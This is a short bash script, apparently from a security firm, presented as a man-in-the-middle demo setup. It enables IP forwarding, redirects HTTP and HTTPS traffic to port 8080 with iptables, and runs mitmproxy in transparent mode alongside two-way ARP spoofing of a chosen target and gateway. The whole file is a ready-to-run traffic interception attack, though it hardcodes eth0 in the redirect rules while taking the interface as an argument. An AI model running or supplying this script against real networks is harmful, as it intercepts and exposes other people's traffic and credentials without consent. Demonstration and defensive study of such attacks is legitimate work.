Script to set up MitM demo - Vigilant Asia

mitm_demo.sh

#!/bin/bash

RED='\033[1;31m'
NoC='\033[0m'

echo -e "MitM by ${RED}Vigilant Asia${NoC}"

# Usage
if [ "$1" = "" ]; then
        echo "Please specify target IP"
        echo "[!]Usage: $0 targetIP gatewayIP interface"
        exit 1
elif [ "$2" = "" ]; then
        echo "Please specify gateway IP"
        echo "[!]Usage: $0 targetIP gatewayIP interface"
        exit 1
elif [ "$3" = "" ]; then
        echo "Please specify network interface"
        echo "[!]Usage: $0 targetIP gatewayIP interface"
        exit 1
fi

# Enable IP forwarding
echo '[+] Setting IP Forward'
sysctl -w net.ipv4.ip_forward=1 
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

echo '[+] Updated iptables NAT rules'
iptables -t nat -S

# Start arpspoof
xfce4-terminal \
        -e "tmux \
        new-session 'mitmproxy --mode transparent --set block_global=false --view-filter ~hq\ Android; read'\; \
        split-window -h 'arpspoof -i $3 -t $1 $2; read'\; \
        split-window 'arpspoof -i $3 -t $2 $1; read'\;" \
        -T arpspoof